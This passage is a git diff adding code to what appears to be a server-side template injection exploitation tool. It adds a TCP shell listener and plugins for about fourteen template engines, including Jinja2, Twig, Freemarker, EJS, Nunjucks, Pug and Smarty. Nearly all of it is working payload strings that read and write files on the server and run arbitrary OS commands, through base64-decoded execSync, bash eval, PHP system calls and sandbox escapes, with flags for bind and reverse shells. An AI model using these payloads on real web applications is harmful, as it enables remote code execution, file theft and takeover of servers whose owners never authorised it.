+ # Update contexts on the instance
+ self.contexts = contexts
diff --git a/core/tcpserver.py b/core/tcpserver.py
new file mode 100644
index 0000000..edf32c5
--- /dev/null
+++ b/core/tcpserver.py
@@ -0,0 +1,69 @@
+import socket
+from utils.loggers import log
+import sys
+import select
+
+
+class TcpServer:
+ def __init__(self, port, timeout):
+ self.connect = False
+ self.hostname = '0.0.0.0'
+ self.port = port
+ self.timeout = timeout
+ self.socket_state = False
+ self.socket = None
+ self.connect_socket()
+ if not self.socket:
+ return
+ self.forward_data()
+
+ def connect_socket(self):
+ if self.connect:
+ self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ self.socket.connect((self.hostname, self.port))
+ else:
+ server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+ try:
+ server.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
+ except socket.error:
+ # log.debug("Warning: unable to set TCP_NODELAY...")
+ pass
+ try:
+ server.bind(('0.0.0.0', self.port))
+ except socket.error as e:
+ log.log(25, f"Port bind on 0.0.0.0:{self.port} has failed: {str(e)}")
+ return
+ server.listen(1)
+ server.settimeout(self.timeout)
+ try:
+ self.socket, address = server.accept()
+ except socket.timeout as e:
+ server.close()
+ raise e
+
+ def forward_data(self):
+ log.info("Incoming connection accepted")
+ self.socket.setblocking(0)
+ while True:
+ read_ready, write_ready, in_error = select.select([self.socket, sys.stdin], [], [self.socket, sys.stdin])
+ try:
+ buffer = self.socket.recv(100)
+ while buffer != '':
+ self.socket_state = True
+ sys.stdout.write(buffer)
+ sys.stdout.flush()
+ buffer = self.socket.recv(100)
+ if buffer == '':
+ return
+ except socket.error:
+ pass
+ while True:
+ r, w, e = select.select([sys.stdin], [], [], 0)
+ if len(r) == 0:
+ break
+ c = sys.stdin.read(1)
+ if c == '':
+ return
+ if self.socket.sendall(c) is not None:
+ return
diff --git a/plugins/__init__.py b/plugins/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/plugins/engines/__init__.py b/plugins/engines/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/plugins/engines/dot.py b/plugins/engines/dot.py
new file mode 100644
index 0000000..db5e529
--- /dev/null
+++ b/plugins/engines/dot.py
@@ -0,0 +1,44 @@
+from plugins.languages import javascript
+
+
+class Dot(javascript.Javascript):
+ def init(self):
+ self.update_actions({
+ 'render': {
+ 'render': '{{{{={code}}}}}',
+ 'header': '{{{{={header}}}}}',
+ 'trailer': '{{{{={trailer}}}}}'
+ },
+ 'write': {
+ 'call': 'inject',
+ 'write': """{{{{=global.process.mainModule.require('fs').appendFileSync('{path}', Buffer('{chunk_b64}', 'base64'), 'binary')}}}}""",
+ 'truncate': """{{{{=global.process.mainModule.require('fs').writeFileSync('{path}', '')}}}}"""
+ },
+ 'read': {
+ 'call': 'evaluate',
+ 'read': """global.process.mainModule.require('fs').readFileSync('{path}').toString('base64');"""
+ },
+ 'md5': {
+ 'call': 'evaluate',
+ 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('{path}')).digest("hex");"""
+ },
+ 'evaluate': {
+ 'test_os': """global.process.mainModule.require('os').platform()""",
+ },
+ 'execute': {
+ 'call': 'evaluate',
+ 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('{code_b64}', 'base64').toString());"""
+ },
+ 'execute_blind': {
+ # The bogus prefix is to avoid false detection of Javascript instead of doT
+ 'call': 'inject',
+ 'execute_blind': """{{{{=''}}}}{{{{global.process.mainModule.require('child_process').execSync(Buffer('{code_b64}', 'base64').toString() + ' && sleep {delay}');}}}}"""
+ },
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ {'level': 1, 'prefix': '{closure};}}}}', 'suffix': '{{1;', 'closures': javascript.ctx_closures},
+ ])
+
diff --git a/plugins/engines/dust.py b/plugins/engines/dust.py
new file mode 100644
index 0000000..e08a12f
--- /dev/null
+++ b/plugins/engines/dust.py
@@ -0,0 +1,103 @@
+from utils.loggers import log
+from plugins.languages import javascript
+from utils import rand
+from plugins.languages import bash
+
+
+class Dust(javascript.Javascript):
+ def init(self):
+ self.update_actions({
+ 'evaluate': {
+ 'call': 'inject',
+ 'evaluate': """{{@if cond=\"eval(Buffer('{code_b64}', 'base64').toString())\"}}{{/if}}"""
+ },
+ 'write': {
+ 'call': 'evaluate',
+ 'write': """require('fs').appendFileSync('{path}', Buffer('{chunk_b64}', 'base64'), 'binary')""",
+ 'truncate': """require('fs').writeFileSync('{path}', '')"""
+ },
+ # Not using execute here since it's rendered and requires set headers and trailers
+ 'execute_blind': {
+ 'call': 'evaluate',
+ # execSync() has been introduced in node 0.11, so this will not work with old node versions.
+ # TODO: use another function.
+ 'execute_blind': """require('child_process').execSync(Buffer('{code_b64}', 'base64').toString() + ' && sleep {delay}');""",
+ 'test_cmd': bash.os_print.format(s1=rand.randstrings[2]),
+ 'test_cmd_expected': rand.randstrings[2]
+ }
+ })
+
+ self.set_contexts([
+ # Text context, no closures. This covers also {%s} e.g. {{payload}} seems working.
+ {'level': 0},
+ # Block as {#key}{/key} and similar needs tag key name to be bypassed.
+ # Comment blocks
+ {'level': 1, 'prefix': '!}}]', 'suffix': '{!'},
+ ])
+
+ """
+ This replace _detect_render() since there is no real rendered evaluation in Dust.
+ """
+ def _detect_dust(self):
+ # Print what it's going to be tested
+ log.log(23, f'{self.plugin} plugin is testing rendering')
+ for prefix, suffix in self._generate_contexts():
+ payload = 'AA{{!c!}}AA'
+ header_rand = rand.randint_n(10)
+ header = str(header_rand)
+ trailer_rand = rand.randint_n(10)
+ trailer = str(trailer_rand)
+ if 'AAAA' == self.render(code=payload, header=header, trailer=trailer, header_rand=header_rand,
+ trailer_rand=trailer_rand, prefix=prefix, suffix=suffix):
+ self.set('header', '{}')
+ self.set('trailer', '{}')
+ self.set('prefix', prefix)
+ self.set('suffix', suffix)
+ self.set('engine', self.plugin.lower())
+ self.set('language', self.language)
+ return
+
+ """
+ Override detection phase to avoid render check
+ """
+ def detect(self):
+ techniques = self.channel.args.get('technique')
+ if 'R' in techniques:
+ self._detect_dust()
+ if self.get('engine'):
+ log.log(21, f'{self.plugin} plugin has confirmed injection')
+ # Clean up any previous unreliable render data
+ self.delete('unreliable_render')
+ self.delete('unreliable')
+ # Further exploitation requires if helper, which has
+ # been deprecated in version dustjs-helpers@1.5.0 .
+ # Check if helper presence here.
+ rand_A = rand.randstr_n(2)
+ rand_B = rand.randstr_n(2)
+ rand_C = rand.randstr_n(2)
+ expected = rand_A + rand_B + rand_C
+ if expected in self.inject(f'{rand_A}{{@if cond="1"}}{rand_B}{{/if}}{rand_C}'):
+ log.log(21, f'{self.plugin} plugin has confirmed the presence of dustjs if helper <= 1.5.0')
+ if 'T' in techniques:
+ # Blind inj must be checked also with confirmed rendering
+ self._detect_blind()
+ if self.get('blind'):
+ log.log(21, f'{self.plugin} plugin has confirmed blind injection')
+ # Clean up any previous unreliable render data
+ self.delete('unreliable_render')
+ self.delete('unreliable')
+ # Set basic info
+ self.set('engine', self.plugin.lower())
+ self.set('language', self.language)
+ # Set the environment
+ self.blind_detected()
+
+ def blind_detected(self):
+ # Blind has been detected so code has been already evaluated
+ self.set('evaluate_blind', self.language)
+ test_cmd_code = self.actions.get('execute_blind', {}).get('test_cmd')
+ if test_cmd_code and self.execute_blind(test_cmd_code):
+ self.set('execute_blind', True)
+ self.set('write', True)
+ self.set('bind_shell', True)
+ self.set('reverse_shell', True)
diff --git a/plugins/engines/ejs.py b/plugins/engines/ejs.py
new file mode 100644
index 0000000..c84cfa8
--- /dev/null
+++ b/plugins/engines/ejs.py
@@ -0,0 +1,38 @@
+from plugins.languages import javascript
+
+
+class Ejs(javascript.Javascript):
+ def init(self):
+ self.update_actions({
+ 'render': {
+ 'header': """<%- '{header}'+""",
+ 'trailer': """+'{trailer}' %>""",
+ },
+ 'write': {
+ 'write': """<%global.process.mainModule.require('fs').appendFileSync('{path}', Buffer('{chunk_b64}', 'base64'), 'binary')%>""",
+ 'truncate': """<%global.process.mainModule.require('fs').writeFileSync('{path}', '')%>"""
+ },
+ 'read': {
+ 'read': """global.process.mainModule.require('fs').readFileSync('{path}').toString('base64')"""
+ },
+ 'md5': {
+ 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('{path}')).digest("hex")"""
+ },
+ 'evaluate': {
+ 'test_os': """global.process.mainModule.require('os').platform()"""
+ },
+ 'execute_blind': {
+ 'execute_blind': """<%global.process.mainModule.require('child_process').execSync(Buffer('{code_b64}', 'base64').toString() + ' && sleep {delay}')%>"""
+ },
+ 'execute': {
+ 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('{code_b64}', 'base64').toString())"""
+ },
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ {'level': 1, 'prefix': '{closure}%>', 'suffix': '<%#', 'closures': javascript.ctx_closures},
+ {'level': 2, 'prefix': '{closure}%>', 'suffix': '<%#', 'closures': {1: ["'", ')'], 2: ['"', ')']}},
+ {'level': 3, 'prefix': '*/%>', 'suffix': '<%#'},
+ ])
diff --git a/plugins/engines/erb.py b/plugins/engines/erb.py
new file mode 100644
index 0000000..c946bec
--- /dev/null
+++ b/plugins/engines/erb.py
@@ -0,0 +1,31 @@
+from plugins.languages import ruby
+
+
+class Erb(ruby.Ruby):
+ def init(self):
+ self.update_actions({
+ 'render': {
+ 'render': '"#{{{code}}}"',
+ 'header': """<%= '{header}'+""",
+ 'trailer': """+'{trailer}' %>""",
+ },
+ 'write': {
+ 'call': 'inject',
+ 'write': """<%= require'base64';File.open('{path}', 'ab+') {{|f| f.write(Base64.urlsafe_decode64('{chunk_b64}')) }} %>""",
+ 'truncate': """<%= File.truncate('{path}', 0) %>"""
+ },
+ 'evaluate_blind': {
+ 'call': 'inject',
+ 'evaluate_blind': """<%= require'base64';eval(Base64.urlsafe_decode64('{code_b64}'))&&sleep({delay}) %>"""
+ },
+ 'execute_blind': {
+ 'call': 'inject',
+ 'execute_blind': """<%= require'base64';%x(#{{Base64.urlsafe_decode64('{code_b64}')+' && sleep {delay}'}}) %>"""
+ },
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ # TODO: add contexts
+ ])
diff --git a/plugins/engines/freemarker.py b/plugins/engines/freemarker.py
new file mode 100644
index 0000000..d8f08f3
--- /dev/null
+++ b/plugins/engines/freemarker.py
@@ -0,0 +1,40 @@
+from utils import rand
+from plugins.languages import java
+
+
+class Freemarker(java.Java):
+ def init(self):
+ self.update_actions({
+ 'render': {
+ 'render': '{code}',
+ 'header': '${{{header}?c}}',
+ 'trailer': '${{{trailer}?c}}',
+ 'test_render': f"""${{{rand.randints[0]}}}<#--{rand.randints[1]}-->${{{rand.randints[2]}}}""",
+ 'test_render_expected': f'{rand.randints[0]}{rand.randints[2]}'
+ },
+ 'write': {
+ 'call': 'inject',
+ 'write': """<#assign ex="freemarker.template.utility.Execute"?new()>${{ ex("bash -c {{tr,_-,/+}}<<<{chunk_b64}|{{base64,--decode}}>>{path}") }}""",
+ 'truncate': """<#assign ex="freemarker.template.utility.Execute"?new()>${{ ex("bash -c {{echo,-n,}}>{path}") }}""",
+ },
+ # Not using execute here since it's rendered and requires set headers and trailers
+ 'execute_blind': {
+ 'call': 'inject',
+ 'execute_blind': """<#assign ex="freemarker.template.utility.Execute"?new()>${{ ex("bash -c {{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,--decode}})}}&&{{sleep,{delay}}}") }}"""
+ },
+ 'execute': {
+ 'call': 'render',
+ 'execute': """<#assign ex="freemarker.template.utility.Execute"?new()>${{ ex("bash -c {{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,--decode}})}}") }}"""
+ }
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ {'level': 1, 'prefix': '{closure}}}', 'suffix': '', 'closures': java.ctx_closures},
+ # This handles <#assign s = %s> and <#if 1 == %s> and <#if %s == 1>
+ {'level': 2, 'prefix': '{closure}>', 'suffix': '', 'closures': java.ctx_closures},
+ {'level': 5, 'prefix': '-->', 'suffix': '<#--'},
+ {'level': 5, 'prefix': '{closure} as a>#list><#list [1] as a>', 'suffix': '', 'closures': java.ctx_closures},
+ ])
+
diff --git a/plugins/engines/jinja2.py b/plugins/engines/jinja2.py
new file mode 100644
index 0000000..ee87043
--- /dev/null
+++ b/plugins/engines/jinja2.py
@@ -0,0 +1,49 @@
+from plugins.languages import python
+from utils import rand
+
+
+class Jinja2(python.Python):
+ def init(self):
+ self.update_actions({
+ 'render': {
+ 'render': '{code}',
+ 'header': '{{{{{header}}}}}',
+ 'trailer': '{{{{{trailer}}}}}',
+ 'test_render': f'{{{{({rand.randints[0]},{rand.randints[1]}*{rand.randints[2]})}}}}',
+ 'test_render_expected': f'{(rand.randints[0],rand.randints[1]*rand.randints[2])}'
+ },
+ 'evaluate': {
+ 'call': 'render',
+ 'evaluate': """{{% set d = "eval(__import__('base64').urlsafe_b64decode('{code_b64}'))" %}}{{% for c in [].__class__.__base__.__subclasses__() %}} {{% if c.__name__ == 'catch_warnings' %}}
+{{% for b in c.__init__.__globals__.values() %}} {{% if b.__class__ == {{}}.__class__ %}}
+{{% if 'eval' in b.keys() %}}
+{{{{ b['eval'](d) }}}}
+{{% endif %}} {{% endif %}} {{% endfor %}}
+{{% endif %}} {{% endfor %}}"""
+ },
+ 'execute_blind': {
+ 'call': 'inject',
+ 'execute_blind': """{{% set d = "__import__('os').popen(__import__('base64').urlsafe_b64decode('{code_b64}').decode() + ' && sleep {delay}').read()" %}}{{% for c in [].__class__.__base__.__subclasses__() %}} {{% if c.__name__ == 'catch_warnings' %}}
+{{% for b in c.__init__.__globals__.values() %}} {{% if b.__class__ == {{}}.__class__ %}}
+{{% if 'eval' in b.keys() %}}
+{{{{ b['eval'](d) }}}}
+{{% endif %}} {{% endif %}} {{% endfor %}}
+{{% endif %}} {{% endfor %}}"""
+ },
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ # This covers {{%s}}
+ {'level': 1, 'prefix': '{closure}}}}}', 'suffix': '', 'closures': python.ctx_closures},
+ # This covers {% %s %}
+ {'level': 1, 'prefix': '{closure}%}}', 'suffix': '', 'closures': python.ctx_closures},
+ # If and for blocks
+ # # if %s:\n# endif
+ # # for a in %s:\n# endfor
+ {'level': 5, 'prefix': '{closure}\n', 'suffix': '\n', 'closures': python.ctx_closures},
+ # Comment blocks
+ {'level': 5, 'prefix': '#}}', 'suffix': '{#'},
+
+ ])
diff --git a/plugins/engines/mako.py b/plugins/engines/mako.py
new file mode 100644
index 0000000..de096ed
--- /dev/null
+++ b/plugins/engines/mako.py
@@ -0,0 +1,31 @@
+from plugins.languages import python
+
+
+class Mako(python.Python):
+ def init(self):
+ self.update_actions({
+ 'render': {
+ 'render': '${{{code}}}',
+ 'header': '${{{header}}}',
+ 'trailer': '${{{trailer}}}'
+ },
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ # Normal reflecting tag ${}
+ {'level': 1, 'prefix': '{closure}}}', 'suffix': '', 'closures': python.ctx_closures},
+ # Code blocks
+ # This covers <% %s %>, <%! %s %>, <% %s=1 %>
+ {'level': 1, 'prefix': '{closure}%>', 'suffix': '<%#', 'closures': python.ctx_closures},
+ # If and for blocks
+ # % if %s:\n% endif
+ # % for a in %s:\n% endfor
+ {'level': 5, 'prefix': '{closure}#\n', 'suffix': '\n', 'closures': python.ctx_closures},
+ # Mako blocks
+ {'level': 5, 'prefix': '%doc>', 'suffix': '<%doc>'},
+ {'level': 5, 'prefix': '%def>', 'suffix': '<%def name="t(x)">', 'closures': python.ctx_closures},
+ {'level': 5, 'prefix': '%block>', 'suffix': '<%block>', 'closures': python.ctx_closures},
+ {'level': 5, 'prefix': '%text>', 'suffix': '<%text>', 'closures': python.ctx_closures},
+ ])
diff --git a/plugins/engines/marko.py b/plugins/engines/marko.py
new file mode 100644
index 0000000..180b3f8
--- /dev/null
+++ b/plugins/engines/marko.py
@@ -0,0 +1,30 @@
+from plugins.languages import javascript
+
+
+class Marko(javascript.Javascript):
+ def init(self):
+ self.update_actions({
+ 'render': {
+ 'render': '${{{code}}}',
+ 'header': '${{"{header}"}}',
+ 'trailer': '${{"{trailer}"}}',
+ },
+ 'write': {
+ 'call': 'inject',
+ 'write': """${{require('fs').appendFileSync('{path}',Buffer('{chunk_b64}','base64'),'binary')}}""",
+ 'truncate': """${{require('fs').writeFileSync('{path}','')}}"""
+ },
+ 'execute_blind': {
+ 'call': 'inject',
+ 'execute_blind': """${{require('child_process').execSync(Buffer('{code_b64}', 'base64').toString() + ' && sleep {delay}')}}"""
+ },
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ {'level': 1, 'prefix': '{closure}}}', 'suffix': '${"1"', 'closures': javascript.ctx_closures},
+ # If escapes require to know the ending tag e.g.
+ # This to escape from and
+ {'level': 2, 'prefix': '1/>', 'suffix': ''},
+ ])
diff --git a/plugins/engines/nunjucks.py b/plugins/engines/nunjucks.py
new file mode 100644
index 0000000..5df4bd0
--- /dev/null
+++ b/plugins/engines/nunjucks.py
@@ -0,0 +1,53 @@
+from plugins.languages import javascript
+from utils import rand
+
+
+class Nunjucks(javascript.Javascript):
+ def init(self):
+ self.update_actions({
+ 'render': {
+ 'render': '{{{{{code}}}}}',
+ 'header': '{{{{{header}}}}}',
+ 'trailer': '{{{{{trailer}}}}}',
+ 'test_render': f'({rand.randints[0]},{rand.randints[1]}*{rand.randints[2]})|dump',
+ 'test_render_expected': f'{rand.randints[1]*rand.randints[2]}'
+ },
+ 'write': {
+ 'call': 'inject',
+ 'write': """{{{{range.constructor("global.process.mainModule.require('fs').appendFileSync('{path}', Buffer('{chunk_b64}', 'base64'), 'binary')")()}}}}""",
+ 'truncate': """{{{{range.constructor("global.process.mainModule.require('fs').writeFileSync('{path}', '')")()}}}}"""
+ },
+ 'read': {
+ 'call': 'evaluate',
+ 'read': """global.process.mainModule.require('fs').readFileSync('{path}').toString('base64')"""
+ },
+ 'md5': {
+ 'call': 'evaluate',
+ 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('{path}')).digest("hex")"""
+ },
+ 'evaluate': {
+ 'call': 'render',
+ 'evaluate': """range.constructor("return eval(Buffer('{code_b64}','base64').toString())")()""",
+ 'test_os': """global.process.mainModule.require('os').platform()"""
+ },
+ 'execute': {
+ 'call': 'evaluate',
+ 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('{code_b64}', 'base64').toString())"""
+ },
+ 'execute_blind': {
+ 'call': 'inject',
+ 'execute_blind': """{{{{range.constructor("global.process.mainModule.require('child_process').execSync(Buffer('{code_b64}', 'base64').toString() + ' && sleep {delay}')")()}}}}"""
+ },
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ {'level': 1, 'prefix': '{closure}}}}}', 'suffix': '{{1', 'closures': javascript.ctx_closures},
+ {'level': 1, 'prefix': '{closure} %}}', 'suffix': '', 'closures': javascript.ctx_closures},
+ {'level': 5, 'prefix': '{closure} %}}{{% endfor %}}{{% for a in [1] %}}', 'suffix': '', 'closures': javascript.ctx_closures},
+ # This escapes string {% set %s = 1 %}
+ {'level': 5, 'prefix': '{closure} = 1 %}}', 'suffix': '', 'closures': javascript.ctx_closures},
+ # Comment blocks
+ {'level': 5, 'prefix': '#}}', 'suffix': '{#'},
+ ])
diff --git a/plugins/engines/pug.py b/plugins/engines/pug.py
new file mode 100644
index 0000000..6ae7b94
--- /dev/null
+++ b/plugins/engines/pug.py
@@ -0,0 +1,67 @@
+from plugins.languages import javascript
+
+
+class Pug(javascript.Javascript):
+ def init(self):
+ self.update_actions({
+ 'render': {
+ 'call': 'inject',
+ 'render': '\n= {code}\n',
+ 'header': '\n= {header}\n',
+ 'trailer': '\n= {trailer}\n',
+ },
+ # No evaluate_blind here, since we've no sleep, we'll use inject
+ 'write': {
+ 'call': 'inject',
+ # Payloads calling inject must start with \n to break out already started lines
+ 'write': """\n- global.process.mainModule.require('fs').appendFileSync('{path}', Buffer('{chunk_b64}', 'base64'), 'binary')
+""",
+ 'truncate': """\n- global.process.mainModule.require('fs').writeFileSync('{path}', '')
+"""
+ },
+ 'read': {
+ 'call': 'render',
+ 'read': """global.process.mainModule.require('fs').readFileSync('{path}').toString('base64')"""
+ },
+ 'md5': {
+ 'call': 'render',
+ 'md5': """global.process.mainModule.require('crypto').createHash('md5').update(global.process.mainModule.require('fs').readFileSync('{path}')).digest("hex")"""
+ },
+ 'blind': {
+ 'call': 'execute_blind',
+ 'test_bool_true': 'true',
+ 'test_bool_false': 'false'
+ },
+ # Not using execute here since it's rendered and requires set headers and trailers
+ 'execute_blind': {
+ 'call': 'inject',
+ # execSync() has been introduced in node 0.11, so this will not work with old node versions.
+ # TODO: use another function.
+ # Payloads calling inject must start with \n to break out already started lines
+ # It's two lines command to avoid false positive with Javascript module
+ 'execute_blind': """
+- x = global.process.mainModule.require
+- x('child_process').execSync(Buffer('{code_b64}', 'base64').toString() + ' && sleep {delay}')
+"""
+ },
+ 'execute': {
+ 'call': 'render',
+ 'execute': """global.process.mainModule.require('child_process').execSync(Buffer('{code_b64}', 'base64').toString())"""
+ },
+ 'evaluate': {
+ 'test_os': """global.process.mainModule.require('os').platform()"""
+ },
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ # Attribute close a(href=\'%s\')
+ {'level': 1, 'prefix': '{closure})', 'suffix': '//', 'closures': {1: javascript.ctx_closures[1]}},
+ # String interpolation #{
+ {'level': 2, 'prefix': '{closure}}}', 'suffix': '//', 'closures': javascript.ctx_closures},
+ # Code context
+ {'level': 2, 'prefix': '{closure}\n', 'suffix': '//', 'closures': javascript.ctx_closures},
+ ])
+
+ language = 'javascript'
diff --git a/plugins/engines/slim.py b/plugins/engines/slim.py
new file mode 100644
index 0000000..0d51b59
--- /dev/null
+++ b/plugins/engines/slim.py
@@ -0,0 +1,30 @@
+from plugins.languages import ruby
+
+class Slim(ruby.Ruby):
+ def init(self):
+ self.update_actions({
+ 'render': {
+ 'render': '"#{{{code}}}"',
+ 'header': """=('{header}'+""",
+ 'trailer': """+'{trailer}')""",
+ },
+ 'write': {
+ 'call': 'inject',
+ 'write': """=(require'base64';File.open('{path}', 'ab+') {{|f| f.write(Base64.urlsafe_decode64('{chunk_b64}')) }})""",
+ 'truncate': """=(File.truncate('{path}', 0))"""
+ },
+ 'evaluate_blind': {
+ 'call': 'inject',
+ 'evaluate_blind': """=(require'base64';eval(Base64.urlsafe_decode64('{code_b64}'))&&sleep({delay}))"""
+ },
+ 'execute_blind': {
+ 'call': 'inject',
+ 'execute_blind': """=(require'base64';%x(#{{Base64.urlsafe_decode64('{code_b64}')+' && sleep {delay}'}}))"""
+ },
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ # TODO: add contexts
+ ])
diff --git a/plugins/engines/smarty.py b/plugins/engines/smarty.py
new file mode 100644
index 0000000..43c6970
--- /dev/null
+++ b/plugins/engines/smarty.py
@@ -0,0 +1,51 @@
+from plugins.languages import php
+from utils import rand
+from plugins.languages import bash
+
+
+class Smarty(php.Php):
+ def init(self):
+ self.update_actions({
+ 'render': {
+ 'render': '{code}',
+ 'header': '{{{header}}}',
+ 'trailer': '{{{trailer}}}',
+ 'test_render': f"""{{{rand.randints[0]}}}{{*{rand.randints[1]}*}}{{{rand.randints[2]}}}""",
+ 'test_render_expected': f'{rand.randints[0]}{rand.randints[2]}'
+ },
+ 'evaluate': {
+ # Dirty hack from Twig
+ 'call': 'execute',
+ 'evaluate': """php -r '$d="{code_b64}";eval(base64_decode(str_pad(strtr($d,"-_","+/"),strlen($d)%4,"=",STR_PAD_RIGHT)));'""",
+ 'test_os': 'echo PHP_OS;',
+ 'test_os_expected': r'^[\w-]+$'
+ },
+ 'evaluate_blind': {
+ # Dirty hack from Twig
+ 'call': 'execute',
+ 'evaluate_blind': """php -r '$d="{code_b64}";eval("return (" . base64_decode(str_pad(strtr($d, "-_", "+/"), strlen($d)%4,"=",STR_PAD_RIGHT)) . ") && sleep({delay});");'"""
+ },
+ 'execute': {
+ 'call': 'render',
+ 'execute': """{{if system(base64_decode(str_pad(strtr('{code_b64}', '-_', '+/'), strlen('{code_b64}')%4,'=',STR_PAD_RIGHT)))}}{{/if}}""",
+ 'test_cmd': bash.os_print.format(s1=rand.randstrings[2]),
+ 'test_cmd_expected': rand.randstrings[2]
+ },
+ 'execute_blind': {
+ 'call': 'inject',
+ 'execute_blind': """{{if system(base64_decode(str_pad(strtr('{code_b64}', '-_', '+/'), strlen('{code_b64}')%4,'=',STR_PAD_RIGHT))|cat:" && sleep {delay}")}}{{/if}}"""
+ },
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ {'level': 1, 'prefix': '{closure}}}', 'suffix': '{', 'closures': php.ctx_closures},
+ # {config_load file="missing_file"} raises an exception
+ # Escape Ifs
+ {'level': 5, 'prefix': '{closure}}}{{/if}}{{if 1}}', 'suffix': '', 'closures': php.ctx_closures},
+ # Escape {assign var="%s" value="%s"}
+ {'level': 5, 'prefix': '{closure} var="" value=""}}{{assign var="" value=""}}', 'suffix': '', 'closures': php.ctx_closures},
+ # Comments
+ {'level': 5, 'prefix': '*}}', 'suffix': '{*'},
+ ])
diff --git a/plugins/engines/tornado.py b/plugins/engines/tornado.py
new file mode 100644
index 0000000..4f64ac9
--- /dev/null
+++ b/plugins/engines/tornado.py
@@ -0,0 +1,29 @@
+from plugins.languages import python
+from utils import rand
+
+
+class Tornado(python.Python):
+
+ def init(self):
+
+ self.update_actions({
+ 'render': {
+ 'render': '{{{{{code}}}}}',
+ 'header': '{{{{{header}}}}}',
+ 'trailer': '{{{{{trailer}}}}}',
+ 'test_render': f"""'{rand.randstrings[0]}'}}}}{{% raw '{rand.randstrings[0]}'.join('{rand.randstrings[1]}') %}}{{{{'{rand.randstrings[1]}'""",
+ 'test_render_expected': f'{rand.randstrings[0] + rand.randstrings[0].join(rand.randstrings[1]) + rand.randstrings[1]}'
+ }
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ # This covers {{%s}}
+ {'level': 1, 'prefix': '{closure}}}}}', 'suffix': '', 'closures': python.ctx_closures},
+ # This covers {% %s %}
+ {'level': 1, 'prefix': '{closure}%}}', 'suffix': '', 'closures': python.ctx_closures},
+ # Comment blocks
+ {'level': 5, 'prefix': '#}}', 'suffix': '{#'},
+ ])
+
diff --git a/plugins/engines/twig.py b/plugins/engines/twig.py
new file mode 100644
index 0000000..ad6ad4d
--- /dev/null
+++ b/plugins/engines/twig.py
@@ -0,0 +1,60 @@
+from plugins.languages import php
+from plugins.languages import bash
+from utils import rand
+
+
+class Twig(php.Php):
+ def init(self):
+ # The vulnerable versions <1.20.0 allows to map the getFilter() function
+ # to any PHP function, allowing the sandbox escape.
+ # Only functions with 1 parameter can be mapped and eval()/assert() functions are not
+ # allowed. For this reason, most of the stuff is done by exec() instead of eval()-like code.
+ self.update_actions({
+ 'render': {
+ 'render': '{{{{{code}}}}}',
+ 'header': '{{{{{header}}}}}',
+ 'trailer': '{{{{{trailer}}}}}',
+ # {{7*'7'}} and a{#b#}c work in freemarker as well
+ # {%% set a=%i*%i %%}{{a}} works in Nunjucks as well
+ 'test_render': f'"{rand.randstrings[0]}\n"|nl2br',
+ 'test_render_expected': f'{rand.randstrings[0]}
'
+ },
+ 'write': {
+ 'call': 'inject',
+ 'write': """{{{{_self.env.registerUndefinedFilterCallback("exec")}}}}{{{{_self.env.getFilter("bash -c '{{tr,_-,/+}}<<<{chunk_b64}|{{base64,--decode}}>>{path}'")}}}}""",
+ 'truncate': """{{{{_self.env.registerUndefinedFilterCallback("exec")}}}}{{{{_self.env.getFilter("echo -n >{path}")}}}}"""
+ },
+ # Hackish way to evaluate PHP code
+ 'evaluate': {
+ 'call': 'execute',
+ 'evaluate': """php -r '$d="{code_b64}";eval(base64_decode(str_pad(strtr($d,"-_","+/"),strlen($d)%4,"=",STR_PAD_RIGHT)));'""",
+ 'test_os': 'echo PHP_OS;',
+ 'test_os_expected': r'^[\w-]+$'
+ },
+ 'execute': {
+ 'call': 'render',
+ 'execute': """_self.env.registerUndefinedFilterCallback("exec")}}}}{{{{_self.env.getFilter("bash -c '{{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,--decode}})}}'")""",
+ 'test_cmd': bash.os_print.format(s1=rand.randstrings[2]),
+ 'test_cmd_expected': rand.randstrings[2]
+ },
+ 'execute_blind': {
+ 'call': 'inject',
+ 'execute_blind': """{{{{_self.env.registerUndefinedFilterCallback("exec")}}}}{{{{_self.env.getFilter("bash -c '{{eval,$({{tr,/+,_-}}<<<{code_b64}|{{base64,--decode}})}}&&{{sleep,{delay}}}'")}}}}"""
+ },
+ 'evaluate_blind': {
+ 'call': 'execute',
+ 'evaluate_blind': """php -r '$d="{code_b64}";eval("return (" . base64_decode(str_pad(strtr($d, "-_", "+/"), strlen($d)%4,"=",STR_PAD_RIGHT)) . ") && sleep({delay});");'"""
+ },
+ })
+
+ self.set_contexts([
+ # Text context, no closures
+ {'level': 0},
+ {'level': 1, 'prefix': '{closure}}}}}', 'suffix': '{{1', 'closures': php.ctx_closures},
+ {'level': 1, 'prefix': '{closure} %}}', 'suffix': '', 'closures': php.ctx_closures},
+ {'level': 5, 'prefix': '{closure} %}}{{% endfor %}}{{% for a in [1] %}}', 'suffix': '', 'closures': php.ctx_closures},
+ # This escapes string "inter#{"asd"}polation"
